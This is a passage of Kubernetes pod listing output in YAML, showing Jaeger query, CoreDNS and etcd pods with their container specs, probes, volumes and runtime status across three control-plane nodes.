    resourceVersion: "18009035"
    uid: 442d9cd5-5710-4af6-ad7b-f7f2e262cf17
  spec:
    containers:
    - env:
      - name: SPAN_STORAGE_TYPE
        value: cassandra
      - name: CASSANDRA_SERVERS
        value: jaeger-cassandra
      - name: CASSANDRA_PORT
        value: "9042"
      - name: CASSANDRA_KEYSPACE
        value: jaeger_v1_test
      - name: CASSANDRA_USERNAME
        value: user
      - name: CASSANDRA_PASSWORD
        valueFrom:
          secretKeyRef:
            key: password
            name: jaeger-cassandra
      - name: QUERY_BASE_PATH
        value: /
      - name: JAEGER_AGENT_PORT
        value: "6831"
      image: jaegertracing/jaeger-query:1.53.0
      imagePullPolicy: IfNotPresent
      livenessProbe:
        failureThreshold: 3
        httpGet:
          path: /
          port: admin
          scheme: HTTP
        periodSeconds: 10
        successThreshold: 1
        timeoutSeconds: 1
      name: jaeger-query
      ports:
      - containerPort: 16686
        name: query
        protocol: TCP
      - containerPort: 16685
        name: grpc
        protocol: TCP
      - containerPort: 16687
        name: admin
        protocol: TCP
      readinessProbe:
        failureThreshold: 3
        httpGet:
          path: /
          port: admin
          scheme: HTTP
        periodSeconds: 10
        successThreshold: 1
        timeoutSeconds: 1
      resources: {}
      securityContext: {}
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
    - env:
      - name: REPORTER_GRPC_HOST_PORT
        value: jaeger-collector:14250
      image: jaegertracing/jaeger-agent:1.53.0
      imagePullPolicy: IfNotPresent
      livenessProbe:
        failureThreshold: 3
        httpGet:
          path: /
          port: admin
          scheme: HTTP
        periodSeconds: 10
        successThreshold: 1
        timeoutSeconds: 1
      name: jaeger-agent-sidecar
      ports:
      - containerPort: 14271
        name: admin
        protocol: TCP
      readinessProbe:
        failureThreshold: 3
        httpGet:
          path: /
          port: admin
          scheme: HTTP
        periodSeconds: 10
        successThreshold: 1
        timeoutSeconds: 1
      resources: {}
      securityContext: {}
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
    dnsPolicy: ClusterFirst
    enableServiceLinks: true
    nodeName: k8s-m-1
    preemptionPolicy: PreemptLowerPriority
    priority: 0
    restartPolicy: Always
    schedulerName: default-scheduler
    securityContext: {}
    serviceAccount: jaeger-query
    serviceAccountName: jaeger-query
    terminationGracePeriodSeconds: 30
    tolerations:
    - effect: NoExecute
      key: node.kubernetes.io/not-ready
      operator: Exists
      tolerationSeconds: 300
    - effect: NoExecute
      key: node.kubernetes.io/unreachable
      operator: Exists
      tolerationSeconds: 300
  status:
    conditions:
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T11:13:13Z"
      status: "True"
      type: PodReadyToStartContainers
    - lastProbeTime: null
      lastTransitionTime: "2025-11-25T15:22:28Z"
      status: "True"
      type: Initialized
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T11:18:10Z"
      status: "True"
      type: Ready
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T11:18:10Z"
      status: "True"
      type: ContainersReady
    - lastProbeTime: null
      lastTransitionTime: "2025-11-25T15:22:28Z"
      status: "True"
      type: PodScheduled
    containerStatuses:
    - containerID: containerd://9f0be4c44e56c77b3fde9f9bf5519061ad65bd48ccfd0d909d03d47043647e06
      image: docker.io/jaegertracing/jaeger-agent:1.53.0
      imageID: docker.io/jaegertracing/jaeger-agent@sha256:0214a0ef24b15cb31c34dc2599b0ae9cc01209a1e8fd6d3bcc36e51d10d09e7b
      lastState:
        terminated:
          containerID: containerd://da02faf7e288100e1e34fcaaefd23ee7fe83849edc535d479cde7f665af41656
          exitCode: 255
          finishedAt: "2025-11-29T11:12:42Z"
          reason: Unknown
          startedAt: "2025-11-28T13:07:59Z"
      name: jaeger-agent-sidecar
      ready: true
      resources: {}
      restartCount: 2
      started: true
      state:
        running:
          startedAt: "2025-11-29T11:13:12Z"
    - containerID: containerd://aad3ac043b29c5fa4cdb8bc6629c4c62c3c39ae0101af0e97d6727d51f733720
      image: docker.io/jaegertracing/jaeger-query:1.53.0
      imageID: docker.io/jaegertracing/jaeger-query@sha256:049bb0d64ea3e075c1b5ebc2cdb44a3eddd631275e46a3a9e56c564b92c5486c
      lastState:
        terminated:
          containerID: containerd://073132b3dad877cf44128688890e1d7bf0875299dfe62469e50102ee7305f261
          exitCode: 137
          finishedAt: "2025-11-29T11:16:46Z"
          reason: Error
          startedAt: "2025-11-29T11:15:46Z"
      name: jaeger-query
      ready: true
      resources: {}
      restartCount: 11
      started: true
      state:
        running:
          startedAt: "2025-11-29T11:18:10Z"
    hostIP: 172.16.30.16
    hostIPs:
    - ip: 172.16.30.16
    phase: Running
    podIP: 192.168.133.151
    podIPs:
    - ip: 192.168.133.151
    qosClass: BestEffort
    startTime: "2025-11-25T15:22:28Z"
- apiVersion: v1
  kind: Pod
  metadata:
    annotations:
      cni.projectcalico.org/containerID: 8eec6ba2c3256932a5a9f1125c99df2568e0747709e2a05c9f433ebdc5ceb2e5
      cni.projectcalico.org/podIP: 192.168.34.43/32
      cni.projectcalico.org/podIPs: 192.168.34.43/32
    creationTimestamp: "2025-11-04T00:53:29Z"
    generateName: coredns-674b8bbfcf-
    generation: 1
    labels:
      k8s-app: kube-dns
      pod-template-hash: 674b8bbfcf
    name: coredns-674b8bbfcf-jjtjh
    namespace: kube-system
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: ReplicaSet
      name: coredns-674b8bbfcf
      uid: ddd27701-269a-4d86-b477-0ae3b4044fd7
    resourceVersion: "18046346"
    uid: e3134089-14ed-444c-95f0-128f8d33c755
  spec:
    affinity:
      podAntiAffinity:
        preferredDuringSchedulingIgnoredDuringExecution:
        - podAffinityTerm:
            labelSelector:
              matchExpressions:
              - key: k8s-app
                operator: In
                values:
                - kube-dns
            topologyKey: kubernetes.io/hostname
          weight: 100
    containers:
    - args:
      - -conf
      - /etc/coredns/Corefile
      image: registry.k8s.io/coredns/coredns:v1.12.0
      imagePullPolicy: IfNotPresent
      livenessProbe:
        failureThreshold: 5
        httpGet:
          path: /health
          port: 8080
          scheme: HTTP
        initialDelaySeconds: 60
        periodSeconds: 10
        successThreshold: 1
        timeoutSeconds: 5
      name: coredns
      ports:
      - containerPort: 53
        name: dns
        protocol: UDP
      - containerPort: 53
        name: dns-tcp
        protocol: TCP
      - containerPort: 9153
        name: metrics
        protocol: TCP
      readinessProbe:
        failureThreshold: 3
        httpGet:
          path: /ready
          port: 8181
          scheme: HTTP
        periodSeconds: 10
        successThreshold: 1
        timeoutSeconds: 1
      resources:
        limits:
          memory: 170Mi
        requests:
          cpu: 100m
          memory: 70Mi
      securityContext:
        allowPrivilegeEscalation: false
        capabilities:
          add:
          - NET_BIND_SERVICE
          drop:
          - ALL
        readOnlyRootFilesystem: true
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /etc/coredns
        name: config-volume
        readOnly: true
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-n7mbb
        readOnly: true
    dnsPolicy: Default
    enableServiceLinks: true
    nodeName: k8s-m-3
    nodeSelector:
      kubernetes.io/os: linux
    preemptionPolicy: PreemptLowerPriority
    priority: 2000000000
    priorityClassName: system-cluster-critical
    restartPolicy: Always
    schedulerName: default-scheduler
    securityContext: {}
    serviceAccount: coredns
    serviceAccountName: coredns
    terminationGracePeriodSeconds: 30
    tolerations:
    - key: CriticalAddonsOnly
      operator: Exists
    - effect: NoSchedule
      key: node-role.kubernetes.io/control-plane
    - effect: NoExecute
      key: node.kubernetes.io/not-ready
      operator: Exists
      tolerationSeconds: 300
    - effect: NoExecute
      key: node.kubernetes.io/unreachable
      operator: Exists
      tolerationSeconds: 300
    volumes:
    - configMap:
        defaultMode: 420
        items:
        - key: Corefile
          path: Corefile
        name: coredns
      name: config-volume
    - name: kube-api-access-n7mbb
      projected:
        defaultMode: 420
        sources:
        - serviceAccountToken:
            expirationSeconds: 3607
            path: token
        - configMap:
            items:
            - key: ca.crt
              path: ca.crt
            name: kube-root-ca.crt
        - downwardAPI:
            items:
            - fieldRef:
                apiVersion: v1
                fieldPath: metadata.namespace
              path: namespace
  status:
    conditions:
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T14:25:20Z"
      status: "True"
      type: PodReadyToStartContainers
    - lastProbeTime: null
      lastTransitionTime: "2025-11-04T00:53:29Z"
      status: "True"
      type: Initialized
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T14:25:21Z"
      status: "True"
      type: Ready
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T14:25:21Z"
      status: "True"
      type: ContainersReady
    - lastProbeTime: null
      lastTransitionTime: "2025-11-04T00:53:29Z"
      status: "True"
      type: PodScheduled
    containerStatuses:
    - allocatedResources:
        cpu: 100m
        memory: 70Mi
      containerID: containerd://c2233fdd6aee51ee6c0e1bb6261b8e8f64bff8413886fb2091a2ca3916fe8981
      image: registry.k8s.io/coredns/coredns:v1.12.0
      imageID: registry.k8s.io/coredns/coredns@sha256:40384aa1f5ea6bfdc77997d243aec73da05f27aed0c5e9d65bfa98933c519d97
      lastState:
        terminated:
          containerID: containerd://fbffe951fa284123e102252c037e465ef8692101cf40b7a56433611c7504a492
          exitCode: 255
          finishedAt: "2025-11-29T14:24:14Z"
          reason: Unknown
          startedAt: "2025-11-28T12:27:50Z"
      name: coredns
      ready: true
      resources:
        limits:
          memory: 170Mi
        requests:
          cpu: 100m
          memory: 70Mi
      restartCount: 2
      started: true
      state:
        running:
          startedAt: "2025-11-29T14:25:19Z"
      volumeMounts:
      - mountPath: /etc/coredns
        name: config-volume
        readOnly: true
        recursiveReadOnly: Disabled
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-n7mbb
        readOnly: true
        recursiveReadOnly: Disabled
    hostIP: 172.16.30.18
    hostIPs:
    - ip: 172.16.30.18
    phase: Running
    podIP: 192.168.34.43
    podIPs:
    - ip: 192.168.34.43
    qosClass: Burstable
    startTime: "2025-11-04T00:53:29Z"
- apiVersion: v1
  kind: Pod
  metadata:
    annotations:
      cni.projectcalico.org/containerID: e4e6c0b84111ff14ec47324a7e255c62c04a1e9f4faaaeb1664ebd5255247170
      cni.projectcalico.org/podIP: 192.168.133.157/32
      cni.projectcalico.org/podIPs: 192.168.133.157/32
    creationTimestamp: "2025-11-25T15:22:04Z"
    generateName: coredns-674b8bbfcf-
    generation: 1
    labels:
      k8s-app: kube-dns
      pod-template-hash: 674b8bbfcf
    name: coredns-674b8bbfcf-rh6tw
    namespace: kube-system
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: ReplicaSet
      name: coredns-674b8bbfcf
      uid: ddd27701-269a-4d86-b477-0ae3b4044fd7
    resourceVersion: "18007713"
    uid: b47254e6-c898-4c8d-b218-5a2f937b69e5
  spec:
    affinity:
      podAntiAffinity:
        preferredDuringSchedulingIgnoredDuringExecution:
        - podAffinityTerm:
            labelSelector:
              matchExpressions:
              - key: k8s-app
                operator: In
                values:
                - kube-dns
            topologyKey: kubernetes.io/hostname
          weight: 100
    containers:
    - args:
      - -conf
      - /etc/coredns/Corefile
      image: registry.k8s.io/coredns/coredns:v1.12.0
      imagePullPolicy: IfNotPresent
      livenessProbe:
        failureThreshold: 5
        httpGet:
          path: /health
          port: 8080
          scheme: HTTP
        initialDelaySeconds: 60
        periodSeconds: 10
        successThreshold: 1
        timeoutSeconds: 5
      name: coredns
      ports:
      - containerPort: 53
        name: dns
        protocol: UDP
      - containerPort: 53
        name: dns-tcp
        protocol: TCP
      - containerPort: 9153
        name: metrics
        protocol: TCP
      readinessProbe:
        failureThreshold: 3
        httpGet:
          path: /ready
          port: 8181
          scheme: HTTP
        periodSeconds: 10
        successThreshold: 1
        timeoutSeconds: 1
      resources:
        limits:
          memory: 170Mi
        requests:
          cpu: 100m
          memory: 70Mi
      securityContext:
        allowPrivilegeEscalation: false
        capabilities:
          add:
          - NET_BIND_SERVICE
          drop:
          - ALL
        readOnlyRootFilesystem: true
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /etc/coredns
        name: config-volume
        readOnly: true
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-9cspl
        readOnly: true
    dnsPolicy: Default
    enableServiceLinks: true
    nodeName: k8s-m-1
    nodeSelector:
      kubernetes.io/os: linux
    preemptionPolicy: PreemptLowerPriority
    priority: 2000000000
    priorityClassName: system-cluster-critical
    restartPolicy: Always
    schedulerName: default-scheduler
    securityContext: {}
    serviceAccount: coredns
    serviceAccountName: coredns
    terminationGracePeriodSeconds: 30
    tolerations:
    - key: CriticalAddonsOnly
      operator: Exists
    - effect: NoSchedule
      key: node-role.kubernetes.io/control-plane
    - effect: NoExecute
      key: node.kubernetes.io/not-ready
      operator: Exists
      tolerationSeconds: 300
    - effect: NoExecute
      key: node.kubernetes.io/unreachable
      operator: Exists
      tolerationSeconds: 300
    volumes:
    - configMap:
        defaultMode: 420
        items:
        - key: Corefile
          path: Corefile
        name: coredns
      name: config-volume
    - name: kube-api-access-9cspl
      projected:
        defaultMode: 420
        sources:
        - serviceAccountToken:
            expirationSeconds: 3607
            path: token
        - configMap:
            items:
            - key: ca.crt
              path: ca.crt
            name: kube-root-ca.crt
        - downwardAPI:
            items:
            - fieldRef:
                apiVersion: v1
                fieldPath: metadata.namespace
              path: namespace
  status:
    conditions:
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T11:13:13Z"
      status: "True"
      type: PodReadyToStartContainers
    - lastProbeTime: null
      lastTransitionTime: "2025-11-25T15:22:04Z"
      status: "True"
      type: Initialized
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T11:13:14Z"
      status: "True"
      type: Ready
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T11:13:14Z"
      status: "True"
      type: ContainersReady
    - lastProbeTime: null
      lastTransitionTime: "2025-11-25T15:22:04Z"
      status: "True"
      type: PodScheduled
    containerStatuses:
    - allocatedResources:
        cpu: 100m
        memory: 70Mi
      containerID: containerd://6f92eeddcaef18ad081da4b3f3f68933baf45be1aa1873d8735ee64cdcd8db6c
      image: registry.k8s.io/coredns/coredns:v1.12.0
      imageID: registry.k8s.io/coredns/coredns@sha256:40384aa1f5ea6bfdc77997d243aec73da05f27aed0c5e9d65bfa98933c519d97
      lastState:
        terminated:
          containerID: containerd://682525ee465d063877b281f402c41784061214618f1c58a34362dc66d0503063
          exitCode: 255
          finishedAt: "2025-11-29T11:12:42Z"
          reason: Unknown
          startedAt: "2025-11-28T13:07:55Z"
      name: coredns
      ready: true
      resources:
        limits:
          memory: 170Mi
        requests:
          cpu: 100m
          memory: 70Mi
      restartCount: 2
      started: true
      state:
        running:
          startedAt: "2025-11-29T11:13:13Z"
      volumeMounts:
      - mountPath: /etc/coredns
        name: config-volume
        readOnly: true
        recursiveReadOnly: Disabled
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-9cspl
        readOnly: true
        recursiveReadOnly: Disabled
    hostIP: 172.16.30.16
    hostIPs:
    - ip: 172.16.30.16
    phase: Running
    podIP: 192.168.133.157
    podIPs:
    - ip: 192.168.133.157
    qosClass: Burstable
    startTime: "2025-11-25T15:22:04Z"
- apiVersion: v1
  kind: Pod
  metadata:
    annotations:
      kubeadm.kubernetes.io/etcd.advertise-client-urls: https://172.16.30.16:2379
      kubernetes.io/config.hash: d317ecc8e71dc1373ad7fff0ccb814bc
      kubernetes.io/config.mirror: d317ecc8e71dc1373ad7fff0ccb814bc
      kubernetes.io/config.seen: "2025-09-21T13:09:19.602545067+02:00"
      kubernetes.io/config.source: file
    creationTimestamp: "2025-09-21T11:09:19Z"
    generation: 1
    labels:
      component: etcd
      tier: control-plane
    name: etcd-k8s-m-1
    namespace: kube-system
    ownerReferences:
    - apiVersion: v1
      controller: true
      kind: Node
      name: k8s-m-1
      uid: 0434bec2-2cdd-40cf-be92-8aa574512d57
    resourceVersion: "18007589"
    uid: 857f865a-1ccc-4d83-9432-ac35661b774c
  spec:
    containers:
    - command:
      - etcd
      - --advertise-client-urls=https://172.16.30.16:2379
      - --cert-file=/etc/kubernetes/pki/etcd/server.crt
      - --client-cert-auth=true
      - --data-dir=/var/lib/etcd
      - --experimental-initial-corrupt-check=true
      - --experimental-watch-progress-notify-interval=5s
      - --initial-advertise-peer-urls=https://172.16.30.16:2380
      - --initial-cluster=k8s-m-1=https://172.16.30.16:2380
      - --key-file=/etc/kubernetes/pki/etcd/server.key
      - --listen-client-urls=https://127.0.0.1:2379,https://172.16.30.16:2379
      - --listen-metrics-urls=http://127.0.0.1:2381
      - --listen-peer-urls=https://172.16.30.16:2380
      - --name=k8s-m-1
      - --peer-cert-file=/etc/kubernetes/pki/etcd/peer.crt
      - --peer-client-cert-auth=true
      - --peer-key-file=/etc/kubernetes/pki/etcd/peer.key
      - --peer-trusted-ca-file=/etc/kubernetes/pki/etcd/ca.crt
      - --snapshot-count=10000
      - --trusted-ca-file=/etc/kubernetes/pki/etcd/ca.crt
      image: registry.k8s.io/etcd:3.5.21-0
      imagePullPolicy: IfNotPresent
      livenessProbe:
        failureThreshold: 8
        httpGet:
          host: 127.0.0.1
          path: /livez
          port: 2381
          scheme: HTTP
        initialDelaySeconds: 10
        periodSeconds: 10
        successThreshold: 1
        timeoutSeconds: 15
      name: etcd
      readinessProbe:
        failureThreshold: 3
        httpGet:
          host: 127.0.0.1
          path: /readyz
          port: 2381
          scheme: HTTP
        periodSeconds: 1
        successThreshold: 1
        timeoutSeconds: 15
      resources:
        requests:
          cpu: 100m
          memory: 100Mi
      startupProbe:
        failureThreshold: 24
        httpGet:
          host: 127.0.0.1
          path: /readyz
          port: 2381
          scheme: HTTP
        initialDelaySeconds: 10
        periodSeconds: 10
        successThreshold: 1
        timeoutSeconds: 15
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /var/lib/etcd
        name: etcd-data
      - mountPath: /etc/kubernetes/pki/etcd
        name: etcd-certs
    dnsPolicy: ClusterFirst
    enableServiceLinks: true
    hostNetwork: true
    nodeName: k8s-m-1
    preemptionPolicy: PreemptLowerPriority
    priority: 2000001000
    priorityClassName: system-node-critical
    restartPolicy: Always
    schedulerName: default-scheduler
    securityContext:
      seccompProfile:
        type: RuntimeDefault
    terminationGracePeriodSeconds: 30
    tolerations:
    - effect: NoExecute
      operator: Exists
    volumes:
    - hostPath:
        path: /etc/kubernetes/pki/etcd
        type: DirectoryOrCreate
      name: etcd-certs
    - hostPath:
        path: /var/lib/etcd
        type: DirectoryOrCreate
      name: etcd-data
  status:
    conditions:
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T11:12:53Z"
      status: "True"
      type: PodReadyToStartContainers
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T11:12:52Z"
      status: "True"
      type: Initialized
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T11:13:09Z"
      status: "True"
      type: Ready
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T11:13:09Z"
      status: "True"
      type: ContainersReady
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T11:12:52Z"
      status: "True"
      type: PodScheduled
    containerStatuses:
    - allocatedResources:
        cpu: 100m
        memory: 100Mi
      containerID: containerd://db9c9710ccfb6d30ace5070add57c669420bfda2d65b5bbc410646df86f06a24
      image: registry.k8s.io/etcd:3.5.21-0
      imageID: registry.k8s.io/etcd@sha256:d58c035df557080a27387d687092e3fc2b64c6d0e3162dc51453a115f847d121
      lastState:
        terminated:
          containerID: containerd://6a03cdf9e04ae67c507715faaebf5641992f389a06048acf97607efa1c71109b
          exitCode: 255
          finishedAt: "2025-11-29T11:12:42Z"
          reason: Unknown
          startedAt: "2025-11-28T13:07:11Z"
      name: etcd
      ready: true
      resources:
        requests:
          cpu: 100m
          memory: 100Mi
      restartCount: 11
      started: true
      state:
        running:
          startedAt: "2025-11-29T11:12:53Z"
    hostIP: 172.16.30.16
    hostIPs:
    - ip: 172.16.30.16
    phase: Running
    podIP: 172.16.30.16
    podIPs:
    - ip: 172.16.30.16
    qosClass: Burstable
    startTime: "2025-11-29T11:12:52Z"
- apiVersion: v1
  kind: Pod
  metadata:
    annotations:
      kubeadm.kubernetes.io/etcd.advertise-client-urls: https://172.16.30.17:2379
      kubernetes.io/config.hash: 2058581b5d6202363ae4d1ef3135413b
      kubernetes.io/config.mirror: 2058581b5d6202363ae4d1ef3135413b
      kubernetes.io/config.seen: "2025-11-03T15:05:45.424616218+01:00"
      kubernetes.io/config.source: file
    creationTimestamp: "2025-11-25T15:22:31Z"
    generation: 1
    labels:
      component: etcd
      tier: control-plane
    name: etcd-k8s-m-2
    namespace: kube-system
    ownerReferences:
    - apiVersion: v1
      controller: true
      kind: Node
      name: k8s-m-2
      uid: febaead2-efbe-4419-9e77-b195397e2090
    resourceVersion: "18033316"
    uid: d6403b82-94a4-4ba5-94ad-2a412a1a65ea
  spec:
    containers:
    - command:
      - etcd
      - --advertise-client-urls=https://172.16.30.17:2379
      - --cert-file=/etc/kubernetes/pki/etcd/server.crt
      - --client-cert-auth=true
      - --data-dir=/var/lib/etcd
      - --experimental-initial-corrupt-check=true
      - --experimental-watch-progress-notify-interval=5s
      - --initial-advertise-peer-urls=https://172.16.30.17:2380
      - --initial-cluster=k8s-m-2=https://172.16.30.17:2380,k8s-m-1=https://172.16.30.16:2380
      - --initial-cluster-state=existing
      - --key-file=/etc/kubernetes/pki/etcd/server.key
      - --listen-client-urls=https://127.0.0.1:2379,https://172.16.30.17:2379
      - --listen-metrics-urls=http://127.0.0.1:2381
      - --listen-peer-urls=https://172.16.30.17:2380
      - --name=k8s-m-2
      - --peer-cert-file=/etc/kubernetes/pki/etcd/peer.crt
      - --peer-client-cert-auth=true
      - --peer-key-file=/etc/kubernetes/pki/etcd/peer.key
      - --peer-trusted-ca-file=/etc/kubernetes/pki/etcd/ca.crt
      - --snapshot-count=10000
      - --trusted-ca-file=/etc/kubernetes/pki/etcd/ca.crt
      image: registry.k8s.io/etcd:3.5.21-0
      imagePullPolicy: IfNotPresent
      livenessProbe:
        failureThreshold: 8
        httpGet:
          host: 127.0.0.1
          path: /livez
          port: 2381
          scheme: HTTP
        initialDelaySeconds: 10
        periodSeconds: 10
        successThreshold: 1
        timeoutSeconds: 15
      name: etcd
      readinessProbe:
        failureThreshold: 3
        httpGet:
          host: 127.0.0.1
          path: /readyz
          port: 2381
          scheme: HTTP
        periodSeconds: 1
        successThreshold: 1
        timeoutSeconds: 15
      resources:
        requests:
          cpu: 100m
          memory: 100Mi
      startupProbe:
        failureThreshold: 24
        httpGet:
          host: 127.0.0.1
          path: /readyz
          port: 2381
          scheme: HTTP
        initialDelaySeconds: 10
        periodSeconds: 10
        successThreshold: 1
        timeoutSeconds: 15
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /var/lib/etcd
        name: etcd-data
      - mountPath: /etc/kubernetes/pki/etcd
        name: etcd-certs
    dnsPolicy: ClusterFirst
    enableServiceLinks: true
    hostNetwork: true
    nodeName: k8s-m-2
    preemptionPolicy: PreemptLowerPriority
    priority: 2000001000
    priorityClassName: system-node-critical
    restartPolicy: Always
    schedulerName: default-scheduler
    securityContext:
      seccompProfile:
        type: RuntimeDefault
    terminationGracePeriodSeconds: 30
    tolerations:
    - effect: NoExecute
      operator: Exists
    volumes:
    - hostPath:
        path: /etc/kubernetes/pki/etcd
        type: DirectoryOrCreate
      name: etcd-certs
    - hostPath:
        path: /var/lib/etcd
        type: DirectoryOrCreate
      name: etcd-data
  status:
    conditions:
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T13:23:21Z"
      status: "True"
      type: PodReadyToStartContainers
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T13:23:20Z"
      status: "True"
      type: Initialized
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T13:23:40Z"
      status: "True"
      type: Ready
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T13:23:40Z"
      status: "True"
      type: ContainersReady
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T13:23:20Z"
      status: "True"
      type: PodScheduled
    containerStatuses:
    - allocatedResources:
        cpu: 100m
        memory: 100Mi
      containerID: containerd://a0b94e8159b94e65146fe0ec7993ac8b0491241481f6f54e8439a0c12a337a00
      image: registry.k8s.io/etcd:3.5.21-0
      imageID: registry.k8s.io/etcd@sha256:d58c035df557080a27387d687092e3fc2b64c6d0e3162dc51453a115f847d121
      lastState:
        terminated:
          containerID: containerd://21e0af2cb0167c143b3c54e464f0f9b7f43485a5649547717f80f85bcc5fbc54
          exitCode: 255
          finishedAt: "2025-11-29T13:23:10Z"
          reason: Unknown
          startedAt: "2025-11-28T12:36:05Z"
      name: etcd
      ready: true
      resources:
        requests:
          cpu: 100m
          memory: 100Mi
      restartCount: 7
      started: true
      state:
        running:
          startedAt: "2025-11-29T13:23:21Z"
    hostIP: 172.16.30.17
    hostIPs:
    - ip: 172.16.30.17
    phase: Running
    podIP: 172.16.30.17
    podIPs:
    - ip: 172.16.30.17
    qosClass: Burstable
    startTime: "2025-11-29T13:23:20Z"
- apiVersion: v1
  kind: Pod
  metadata:
    annotations:
      kubeadm.kubernetes.io/etcd.advertise-client-urls: https://172.16.30.18:2379
      kubernetes.io/config.hash: 8c0f74cd3c77e50e2221ec3d5b1b9769
      kubernetes.io/config.mirror: 8c0f74cd3c77e50e2221ec3d5b1b9769
      kubernetes.io/config.seen: "2025-09-21T13:17:54.768006187+02:00"
      kubernetes.io/config.source: file
    creationTimestamp: "2025-09-21T11:18:20Z"
    generation: 1
    labels:
      component: etcd
      tier: control-plane
    name: etcd-k8s-m-3
    namespace: kube-system
    ownerReferences:
    - apiVersion: v1
      controller: true
      kind: Node
      name: k8s-m-3
      uid: e9941774-8efa-42ec-abc7-595360d866d1
    resourceVersion: "18045954"
    uid: 75ee742a-cdb7-4d69-aeb0-a2076fb4d755
  spec:
    containers:
    - command:
      - etcd
      - --advertise-client-urls=https://172.16.30.18:2379
      - --cert-file=/etc/kubernetes/pki/etcd/server.crt
      - --client-cert-auth=true
      - --data-dir=/var/lib/etcd
      - --experimental-initial-corrupt-check=true
      - --experimental-watch-progress-notify-interval=5s
      - --initial-advertise-peer-urls=https://172.16.30.18:2380
      - --initial-cluster=k8s-m-2=https://172.16.30.17:2380,k8s-m-1=https://172.16.30.16:2380,k8s-m-3=https://172.16.30.18:2380
      - --initial-cluster-state=existing
      - --key-file=/etc/kubernetes/pki/etcd/server.key
      - --listen-client-urls=https://127.0.0.1:2379,https://172.16.30.18:2379
      - --listen-metrics-urls=http://127.0.0.1:2381
      - --listen-peer-urls=https://172.16.30.18:2380
      - --name=k8s-m-3
      - --peer-cert-file=/etc/kubernetes/pki/etcd/peer.crt
      - --peer-client-cert-auth=true
      - --peer-key-file=/etc/kubernetes/pki/etcd/peer.key
      - --peer-trusted-ca-file=/etc/kubernetes/pki/etcd/ca.crt
      - --snapshot-count=10000
      - --trusted-ca-file=/etc/kubernetes/pki/etcd/ca.crt
      image: registry.k8s.io/etcd:3.5.21-0
      imagePullPolicy: IfNotPresent
      livenessProbe:
        failureThreshold: 8
        httpGet:
          host: 127.0.0.1
          path: /livez
          port: 2381
          scheme: HTTP
        initialDelaySeconds: 10
        periodSeconds: 10
        successThreshold: 1
        timeoutSeconds: 15
      name: etcd
      readinessProbe:
        failureThreshold: 3
        httpGet:
          host: 127.0.0.1
          path: /readyz
          port: 2381
          scheme: HTTP
        periodSeconds: 1
        successThreshold: 1
        timeoutSeconds: 15
      resources:
        requests:
          cpu: 100m
          memory: 100Mi
      startupProbe:
        failureThreshold: 24
        httpGet:
          host: 127.0.0.1
          path: /readyz
          port: 2381
          scheme: HTTP
        initialDelaySeconds: 10
        periodSeconds: 10
        successThreshold: 1
        timeoutSeconds: 15
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /var/lib/etcd
        name: etcd-data
      - mountPath: /etc/kubernetes/pki/etcd
        name: etcd-certs
    dnsPolicy: ClusterFirst
    enableServiceLinks: true
    hostNetwork: true
    nodeName: k8s-m-3
    preemptionPolicy: PreemptLowerPriority
    priority: 2000001000
    priorityClassName: system-node-critical
    restartPolicy: Always
    schedulerName: default-scheduler
    securityContext:
      seccompProfile:
        type: RuntimeDefault
    terminationGracePeriodSeconds: 30
    tolerations:
    - effect: NoExecute
      operator: Exists
    volumes:
    - hostPath:
        path: /etc/kubernetes/pki/etcd
        type: DirectoryOrCreate
      name: etcd-certs
    - hostPath:
        path: /var/lib/etcd
        type: DirectoryOrCreate
      name: etcd-data
  status:
    conditions:
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T14:24:26Z"
      status: "True"
      type: PodReadyToStartContainers
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T14:24:24Z"
      status: "True"
      type: Initialized
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T14:24:38Z"
      status: "True"
      type: Ready
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T14:24:38Z"
      status: "True"
      type: ContainersReady
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T14:24:24Z"
      status: "True"
      type: PodScheduled
    containerStatuses:
    - allocatedResources:
        cpu: 100m
        memory: 100Mi
      containerID: containerd://21b94f9a688816fe1a970d8d318a4c0f365783520eebac76ec5ca0d8130fe202
      image: registry.k8s.io/etcd:3.5.21-0
      imageID: registry.k8s.io/etcd@sha256:d58c035df557080a27387d687092e3fc2b64c6d0e3162dc51453a115f847d121
      lastState:
        terminated:
          containerID: containerd://afd9010612f012611ca3700fade7ae4d6c7235cd31e006271658c697f5db07f6
